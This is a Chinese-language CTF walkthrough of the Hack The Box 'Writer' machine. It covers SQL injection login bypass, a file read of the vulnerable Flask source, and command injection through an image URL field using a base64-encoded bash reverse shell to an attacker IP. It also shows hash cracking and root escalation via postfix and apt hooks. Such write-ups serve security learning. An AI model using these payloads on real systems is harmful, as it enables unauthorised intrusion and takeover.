HTB-Writer通关记录

信息收集

1
sudo nmap -sC -sV writer.htb

upload successful
爆破目录信息

1
gobuster dir  -u http://writer.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

upload successful

获得一个/administrative目录,访问该目录

upload successful

输入admin/admin进行登录,xray报uname字段存在SQL时间盲注漏洞。

upload successful

sqlmap检查一下,看是否存在其他类型的注入

1
sqlmap -u http://writer.htb/administrative --data="uname=admin&password=admin" 

upload successful

发现存在联合查询注入类型。

使用联合查询类型手工读取/etc/passwd

upload successful

80端口开放的是apache,因此我们这里尝试读取apache的网站配置文件路径/etc/apache2/sites-enabled/000-default.conf

upload successful

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
# Virtual host configuration for writer.htb domain
<VirtualHost *:80>
ServerName writer.htb
ServerAdmin admin@writer.htb
WSGIScriptAlias / /var/www/writer.htb/writer.wsgi
<Directory /var/www/writer.htb>
Order allow,deny
Allow from all
</Directory>
Alias /static /var/www/writer.htb/writer/static
<Directory /var/www/writer.htb/writer/static/>
Order allow,deny
Allow from all
</Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
LogLevel warn
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

# Virtual host configuration for dev.writer.htb subdomain
# Will enable configuration after completing backend development
# Listen 8080
#<VirtualHost 127.0.0.1:8080>
# ServerName dev.writer.htb
# ServerAdmin admin@writer.htb
#
# Collect static for the writer2_project/writer_web/templates
# Alias /static /var/www/writer2_project/static
# <Directory /var/www/writer2_project/static>
# Require all granted
# </Directory>
#
# <Directory /var/www/writer2_project/writerv2>
# <Files wsgi.py>
# Require all granted
# </Files>
# </Directory>
#
# WSGIDaemonProcess writer2_project python-path=/var/www/writer2_project python-home=/var/www/writer2_project/writer2env
# WSGIProcessGroup writer2_project
# WSGIScriptAlias / /var/www/writer2_project/writerv2/wsgi.py
# ErrorLog ${APACHE_LOG_DIR}/error.log
# LogLevel warn
# CustomLog ${APACHE_LOG_DIR}/access.log combined
#
#</VirtualHost>
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet

通过配置文件,我们得知服务端是使用python编写,服务端路径为/var/www/writer.htb/,因此我们尝试读取服务端代码,进行代码审计查找漏洞。

读取/var/www/writer.htb/writer/__init__.py

upload successful

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
from flask import Flask, session, redirect, url_for, request, render_template
from mysql.connector import errorcode
import mysql.connector
import urllib.request
import os
import PIL
from PIL import Image, UnidentifiedImageError
import hashlib

app = Flask(__name__,static_url_path='',static_folder='static',template_folder='templates')

#Define connection for database
def connections():
try:
connector = mysql.connector.connect(user='admin', password='ToughPasswordToCrack', host='127.0.0.1', database='writer')
return connector
except mysql.connector.Error as err:
if err.errno == errorcode.ER_ACCESS_DENIED_ERROR:
return ("Something is wrong with your db user name or password!")
elif err.errno == errorcode.ER_BAD_DB_ERROR:
return ("Database does not exist")
else:
return ("Another exception, returning!")
else:
print ('Connection to DB is ready!')

#Define homepage
@app.route('/')
def home_page():
try:
connector = connections()
except mysql.connector.Error as err:
return ("Database error")
cursor = connector.cursor()
sql_command = "SELECT * FROM stories;"
cursor.execute(sql_command)
results = cursor.fetchall()
return render_template('blog/blog.html', results=results)

#Define about page
@app.route('/about')
def about():
return render_template('blog/about.html')

#Define contact page
@app.route('/contact')
def contact():
return render_template('blog/contact.html')

#Define blog posts
@app.route('/blog/post/<id>', methods=['GET'])
def blog_post(id):
try:
connector = connections()
except mysql.connector.Error as err:
return ("Database error")
cursor = connector.cursor()
cursor.execute("SELECT * FROM stories WHERE id = %(id)s;", {'id': id})
results = cursor.fetchall()
sql_command = "SELECT * FROM stories;"
cursor.execute(sql_command)
stories = cursor.fetchall()
return render_template('blog/blog-single.html', results=results, stories=stories)

#Define dashboard for authenticated users
@app.route('/dashboard')
def dashboard():
if not ('user' in session):
return redirect('/')
return render_template('dashboard.html')

#Define stories page for dashboard and edit/delete pages
@app.route('/dashboard/stories')
def stories():
if not ('user' in session):
return redirect('/')
try:
connector = connections()
except mysql.connector.Error as err:
return ("Database error")
cursor = connector.cursor()
sql_command = "Select * From stories;"
cursor.execute(sql_command)
results = cursor.fetchall()
return render_template('stories.html', results=results)

@app.route('/dashboard/stories/add', methods=['GET', 'POST'])
def add_story():
if not ('user' in session):
return redirect('/')
try:
connector = connections()
except mysql.connector.Error as err:
return ("Database error")
if request.method == "POST":
if request.files['image']:
image = request.files['image']
if ".jpg" in image.filename:
path = os.path.join('/var/www/writer.htb/writer/static/img/', image.filename)
image.save(path)
image = "/img/{}".format(image.filename)
else:
error = "File extensions must be in .jpg!"
return render_template('add.html', error=error)

if request.form.get('image_url'):
image_url = request.form.get('image_url')
if ".jpg" in image_url:
try:
local_filename, headers = urllib.request.urlretrieve(image_url)
os.system("mv {} {}.jpg".format(local_filename, local_filename))
image = "{}.jpg".format(local_filename)
try:
im = Image.open(image)
im.verify()
im.close()
image = image.replace('/tmp/','')
os.system("mv /tmp/{} /var/www/writer.htb/writer/static/img/{}".format(image, image))
image = "/img/{}".format(image)
except PIL.UnidentifiedImageError:
os.system("rm {}".format(image))
error = "Not a valid image file!"
return render_template('add.html', error=error)
except:
error = "Issue uploading picture"
return render_template('add.html', error=error)
else:
error = "File extensions must be in .jpg!"
return render_template('add.html', error=error)
author = request.form.get('author')
title = request.form.get('title')
tagline = request.form.get('tagline')
content = request.form.get('content')
cursor = connector.cursor()
cursor.execute("INSERT INTO stories VALUES (NULL,%(author)s,%(title)s,%(tagline)s,%(content)s,'Published',now(),%(image)s);", {'author':author,'title': title,'tagline': tagline,'content': content, 'image':image })
result = connector.commit()
return redirect('/dashboard/stories')
else:
return render_template('add.html')

@app.route('/dashboard/stories/edit/<id>', methods=['GET', 'POST'])
def edit_story(id):
if not ('user' in session):
return redirect('/')
try:
connector = connections()
except mysql.connector.Error as err:
return ("Database error")
if request.method == "POST":
cursor = connector.cursor()
cursor.execute("SELECT * FROM stories where id = %(id)s;", {'id': id})
results = cursor.fetchall()
if request.files['image']:
image = request.files['image']
if ".jpg" in image.filename:
path = os.path.join('/var/www/writer.htb/writer/static/img/', image.filename)
image.save(path)
image = "/img/{}".format(image.filename)
cursor = connector.cursor()
cursor.execute("UPDATE stories SET image = %(image)s WHERE id = %(id)s", {'image':image, 'id':id})
result = connector.commit()
else:
error = "File extensions must be in .jpg!"
return render_template('edit.html', error=error, results=results, id=id)
if request.form.get('image_url'):
image_url = request.form.get('image_url')
if ".jpg" in image_url:
try:
local_filename, headers = urllib.request.urlretrieve(image_url)
os.system("mv {} {}.jpg".format(local_filename, local_filename))
image = "{}.jpg".format(local_filename)
try:
im = Image.open(image)
im.verify()
im.close()
image = image.replace('/tmp/','')
os.system("mv /tmp/{} /var/www/writer.htb/writer/static/img/{}".format(image, image))
image = "/img/{}".format(image)
cursor = connector.cursor()
cursor.execute("UPDATE stories SET image = %(image)s WHERE id = %(id)s", {'image':image, 'id':id})
result = connector.commit()

except PIL.UnidentifiedImageError:
os.system("rm {}".format(image))
error = "Not a valid image file!"
return render_template('edit.html', error=error, results=results, id=id)
except:
error = "Issue uploading picture"
return render_template('edit.html', error=error, results=results, id=id)
else:
error = "File extensions must be in .jpg!"
return render_template('edit.html', error=error, results=results, id=id)
title = request.form.get('title')
tagline = request.form.get('tagline')
content = request.form.get('content')
cursor = connector.cursor()
cursor.execute("UPDATE stories SET title = %(title)s, tagline = %(tagline)s, content = %(content)s WHERE id = %(id)s", {'title':title, 'tagline':tagline, 'content':content, 'id': id})
result = connector.commit()
return redirect('/dashboard/stories')

else:
cursor = connector.cursor()
cursor.execute("SELECT * FROM stories where id = %(id)s;", {'id': id})
results = cursor.fetchall()
return render_template('edit.html', results=results, id=id)

@app.route('/dashboard/stories/delete/<id>', methods=['GET', 'POST'])
def delete_story(id):
if not ('user' in session):
return redirect('/')
try:
connector = connections()
except mysql.connector.Error as err:
return ("Database error")
if request.method == "POST":
cursor = connector.cursor()
cursor.execute("DELETE FROM stories WHERE id = %(id)s;", {'id': id})
result = connector.commit()
return redirect('/dashboard/stories')
else:
cursor = connector.cursor()
cursor.execute("SELECT * FROM stories where id = %(id)s;", {'id': id})
results = cursor.fetchall()
return render_template('delete.html', results=results, id=id)

#Define user page for dashboard
@app.route('/dashboard/users')
def users():
if not ('user' in session):
return redirect('/')
try:
connector = connections()
except mysql.connector.Error as err:
return "Database Error"
cursor = connector.cursor()
sql_command = "SELECT * FROM users;"
cursor.execute(sql_command)
results = cursor.fetchall()
return render_template('users.html', results=results)

#Define settings page
@app.route('/dashboard/settings', methods=['GET'])
def settings():
if not ('user' in session):
return redirect('/')
try:
connector = connections()
except mysql.connector.Error as err:
return "Database Error!"
cursor = connector.cursor()
sql_command = "SELECT * FROM site WHERE id = 1"
cursor.execute(sql_command)
results = cursor.fetchall()
return render_template('settings.html', results=results)

#Define authentication mechanism
@app.route('/administrative', methods=['POST', 'GET'])
def login_page():
if ('user' in session):
return redirect('/dashboard')
if request.method == "POST":
username = request.form.get('uname')
password = request.form.get('password')
password = hashlib.md5(password.encode('utf-8')).hexdigest()
try:
connector = connections()
except mysql.connector.Error as err:
return ("Database error")
try:
cursor = connector.cursor()
sql_command = "Select * From users Where username = '%s' And password = '%s'" % (username, password)
cursor.execute(sql_command)
results = cursor.fetchall()
for result in results:
print("Got result")
if result and len(result) != 0:
session['user'] = username
return render_template('success.html', results=results)
else:
error = "Incorrect credentials supplied"
return render_template('login.html', error=error)
except:
error = "Incorrect credentials supplied"
return render_template('login.html', error=error)
else:
return render_template('login.html')

@app.route("/logout")
def logout():
if not ('user' in session):
return redirect('/')
session.pop('user')
return redirect('/')

if __name__ == '__main__':
app.run("0.0.0.0")

接口@app.route(‘/dashboard/stories/add’, methods=[‘GET’, ‘POST’])存在一个命令注入漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
if request.form.get('image_url'):
image_url = request.form.get('image_url')
if ".jpg" in image_url:
try:
local_filename, headers = urllib.request.urlretrieve(image_url)
os.system("mv {} {}.jpg".format(local_filename, local_filename))
image = "{}.jpg".format(local_filename)
try:
im = Image.open(image)
im.verify()
im.close()
image = image.replace('/tmp/','')
os.system("mv /tmp/{} /var/www/writer.htb/writer/static/img/{}".format(image, image))

获取权限

可以在image_url后面拼接命令反弹shell。要进入这个接口,需要我们先进入系统后台,由于存在SQL注入漏洞,可以直接使用万能密码登录后台。
admin’ or ‘1’=’1

upload successful

进入后台后,在添加文章页面,注入命令反弹shell。注意这个URLlib这里想进行命令拼接注入,URL路径只能是服务端本地的路径,否则无法执行命令。

通过本地文件上传功能上传一个反弹shell的文件名

upload successful

upload successful

通过URL参数读取拼接命令注入的文件名,拿到shell。

1
file:///var/www/writer.htb/writer/static/img/01.jpg;`echo YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTAuMTAuMTQuNi81NTU1IDwmMSc= | base64 -d | bash`

upload successful

upload successful

查看mysql数据库配置文件

upload successful

将mysql的端口转发出来

upload successful

连接数据库查看数据

upload successful

1
hashcat -a 0 -m 10000 pass.txt --wordlist /usr/share/wordlists/rockyou.txt

破解密码

upload successful

拿到密码之后,ssh到kyle用户

upload successful

权限提升

查看本地监听端口

upload successful

端口转发

upload successful

nmap扫描判断服务和版本

upload successful

查看kyle用户信息

upload successful

查看filter组拥有的文件权限

upload successful

可通过向postfix邮箱的配置文件当中写命令来完成反弹shell,反弹shell的用户是收到邮件的用户。

写shell命令

upload successful

发送邮件

upload successful

获得shell

upload successful

读取.ssh私钥信息

upload successful

通过ssh私钥连接

upload successful

查看本地进程,有apt服务,且以root运行

upload successful

用户john权限信息

upload successful

查看apt配置文件目录的权限信息

upload successful

通过修改apt的配置文件,反弹shell提权到root

upload successful

反弹shell

upload successful

参考文章

总结学习

  • apache其中之一默认配置文件路径 /etc/apache2/sites-enabled/000-default.conf
  • sqlmap 联合注入读取文件
  • python package结构
  • python os system命令注入
  • mysql服务配置文件 /etc/mysql/my.cnf
  • john、hashcat 破解密码 rockyou字典
  • /etc/postfix/disclaimer 配置文件getshell
  • apt 配置文件getshell
  • 用户组权限、进程、端口
  • 信息收集、信息收集、信息收集

本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!